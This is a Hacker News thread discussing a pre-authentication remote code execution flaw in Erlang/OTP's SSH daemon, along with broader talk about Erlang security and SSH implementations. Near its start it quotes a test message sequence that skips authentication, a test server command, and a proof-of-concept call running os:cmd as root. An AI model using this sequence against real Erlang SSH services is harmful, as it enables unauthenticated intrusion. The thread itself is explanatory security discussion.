{send, hello},
{send, ssh_msg_kexinit},
{match, #ssh_msg_kexinit{_='_'}, receive_msg},
{send, SshMsgChannelOpen},
{send, SshMsgChannelRequest},
{match, disconnect(), receive_msg}
https://github.com/erlang/otp/commit/6eef04130afc8b0ccb63c9a...edit: Ah, found by the people at RUB, they do a lot of research in verifying protocol implementations iirc.
If we design the software this way, when we try to write the erroneous code we're caught - oh, wait, which user is authenticated? We need to... oh... we shouldn't be here without authenticating.
I didn't think anybody would actually run the Erlang SSH daemon, but there's evidence that some do. It makes more sense to run openssh, so you can debug BEAM failures etc, and you can load a debug shell from your OS shell easily.
[1] https://security.erlef.org/secure_coding_and_deployment_hard...
The test server: $ erl -eval 'ssh:start(), ssh_dbg:on(), ssh:daemon(34222, [{system_dir, "/home/otp/ssh/keys"},{user_dir, "/home/otp/ssh/users/otptest/.ssh"}]).'
The exploit: auth.ScrapeExec(options, addr+" "+tname, res, ses, `os:cmd("touch /tmp/HAXXXED").`)
>-rw-r--r-- 1 root root 0 Apr 17 16:14 /tmp/HAXXXED
For those not in-the-know, this is "Ruhr University Bochum".
https://www.ruhr-uni-bochum.de/en
They have quite a good reputation in the security research space.
per https://www.openwall.com/lists/oss-security/2025/04/16/2
Don't think that's a very common thing to do, even in my hobby projects I would only access a Nerves device through a VPN.
I didn't think anyone actually ran the Erlang SSH daemon (although there's evidence that some people do!). It makes for a fun demo, but a regular OS shell is more useful, and you can attach a debug shell to an existing BEAM process from there.
OTOH for example in Go people sometimes use the SSH protocol to provide access to cool things like an SSH based chat, instead of using it for shell access.
I haven’t looked at what the Erlang SSH server provides, but maybe you could do something like that? Write a chat server in Erlang and use the Erlang SSH server to provide users access to that chat?
While the Erlang/Elixir ecosystem won't stop you from writing a network server that takes in a string and just blithely passes it along to a shell without analysis, overall the Erlang/Elixir ecosystem is very strong and lacks most of the footguns like an "eval" statement that get people. Though I will ding it a point for the most obvious way to run a shell command [1] taking just a string that goes to a shell rather than an array of parameters to a shell command.
It is on the higher end of secure languages to write a network server in.
Erlang has erl_eval [1] if you're looking for more ability to shoot yourself in the foot. You can call that from Elixir, but I guess that'd be weird; I'm not an Elixir person, but I'd bet you can shoot yourself in the foot if you try!
There's always fun with dist and proc_lib:spawn(Node, Fun) [2], which you can put in a list comprehension with erlang:nodes() [3] if you want to shot yourself in many feet rapidly ;)
[1] https://www.erlang.org/doc/apps/stdlib/erl_eval.html
[2] https://www.erlang.org/doc/apps/stdlib/proc_lib.html#spawn/2
[3] https://www.erlang.org/doc/apps/erts/erlang.html#nodes/0
obligatory /S (for internet)
also: 2 months ago I posted this Erlang SSH SFTP flaw - https://news.ycombinator.com/item?id=43126360
The reason they were added to the language was precisely so meta and dynamic programming is done at compile time, which you can introspect before you deploy, versus doing it at runtime, which is how most dynamic languages tackle this. And those languages are most likely not using eval either, but intrinsic features that allow you to define classes, attributes, methods, and so on programmatically.
I’d say eval is discouraged in most languages, although it is useful for building things like REPLs and interactive environments.
[1]: https://hexdocs.pm/elixir/macro-anti-patterns.html#unnecessa...
I think you forgot a link to your [1] reference.
You should definitely "sell" Elixir/Erlang/BEAM based languages to your management for a greenfield project; The opportunity is too good to pass up.
Nevertheless, if you would like to learn how to "harden" your Elixir/Erlang system, see the guidelines from the "Security Working Group" of EEF which i have linked to here - https://news.ycombinator.com/item?id=43717633
you can try our sandbox at https://yeet.cx/play
https://git-scm.com/docs/protocol-v2
https://git-scm.com/book/ms/v2/Git-on-the-Server-The-Protoco...
Adding support for Git over SSH was very easy using Erlang built-in SSH libs.
https://github.com/redrabbit/git.limo
https://github.com/redrabbit/git.limo/blob/master/apps/gitgu...
aftbit•1d ago
>Any service using Erlang/OTP's SSH library for remote access such as those used in OT/IoT devices, edge computing devices are susceptible to exploitation.
https://thehackernews.com/2025/04/critical-erlangotp-ssh-vul...
kimi•1d ago
See for example https://blog.differentpla.net/blog/2022/11/01/erlang-ssh/
davidw•1d ago
This has pros and cons.
innocentoldguy•1d ago
natrys•1d ago
throwawaymaths•1d ago
hinkley•1d ago
toast0•1d ago
The BEAM is also more or less an abstraction around an event loop for async i/o. If you want async i/o in nifs, I think you want to integrate with BEAM's event loop. Inside NIFs, I think you want to use enif_select [1] (and friends), available since OTP 20 originally from 2017-06-21. In a port driver, you'd use driver_select [2] which I think has been around forever --- there's mentions of changes in R13 which I think was mostly release 2009-11-20 (that may have been R13B though).
[1] https://www.erlang.org/doc/apps/erts/erl_nif.html#enif_selec...
[2] https://www.erlang.org/doc/apps/erts/erl_driver.html#driver_...
hinkley•1d ago
When we (or at least some quantity of “we”) want is infrequent native calls to be able to fail without taking the BEAM down.
The problem with doing it with threads though is that a bad thread can still vomit all over working memory, still causing a panic even if it itself doesn’t panic.
toast0•1d ago
a) run the native code as a separate process; either a port program, a c-node, or just a regular program that you interact with via some interprocess communication (sockets, pipes, signals, a shared filesystem, shared memory segments if you're brave)
b) some sort of sandybox thing; like compile to wasm and then jit back to (hopefully) safe native.
c) just run the native code, it's probably fine, hopefully. My experience with NIFs is that they are usually very short code that should be easy to review, so this isn't as bad as it sounds...
If your native code is short, option c is probably fine; if your native code is long, option a makes more sense. If you want to make things harder without real justification, b sounds good :P
hinkley•15h ago
While what is easier for those of us not working on the beam is to put the glitchy code into its own service and put up with the maintenance overhead.
But when you have one or two solutions the friction to move to three becomes difficult. People start talking about how having dozens will be chaos. While true, sometimes you really do just need three and it’s not a slippery slope.
toast0•3h ago
If it's worth doing, it's worth doing three times.
toast0•1d ago
Of course, easy protocol parsing doesn't do the whole job; state management is required too (and was missed here, clearly).
rollcat•1d ago
There's some value in avoiding a monoculture, or choosing different trade-offs (e.g. binary size, memory usage). But as exemplified by this incident, any incentives must be carefully weighted against the risks. SSH is your final line of defence.
[1]: https://www.openbsd.org/donations.html
whizzter•1d ago
This is an Erlang daemon, thus written in a managed language without buffer overflows,etc, but it seems like someone left a huge gaping logic hole to drive a bus through. SSH or not, this could've equally well been a logic hole in a base webserver,etc.
I'd say this is more akin to the Log4j debacle, a perfectly safe language but bad design makes it vulnerable to something trivial.
PhilipRoman•1d ago
VWWHFSfQ•1d ago
throwawaymaths•1d ago
toast0•2h ago
Only OpenSSL had heartbleed. No other implementation of TLS protocols was affected. Many systems integrate with OpenSSL's protocol code, but there's also several that do their own protocol work and use ciphers from OpenSSL (and some that do both).
Erlang's ssl implementation at the time of heartbleed wasn't anywhere close in throughput to using OpenSSL separately. If I'm remembering right, OTP 18 (June 2015) is when it got good enough that it made more sense to run an Erlang https server without a separate TLS termination daemon. Heartbleed became known April 2014, so Erlang SSL was too late to help there, really. More secure, but unusable wirh load doesn't help much.
Also, Erlang SSL was one of many implementations thst needed to be reminded of 1998 era security issues in 2017. [1]
[1] https://nvd.nist.gov/vuln/detail/CVE-2017-1000385
rollcat•1d ago
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=OpenSSH
It's true that there are 5 advisories so far in this year alone, but let's consider the actual impact:
OpenBSD enables sshd(8) in the default install, and has so far had two RCEs in 30 years. Now, not everyone runs OpenBSD, but I'd personally throw the stones at e.g. Debian (see CVE-2008-0166).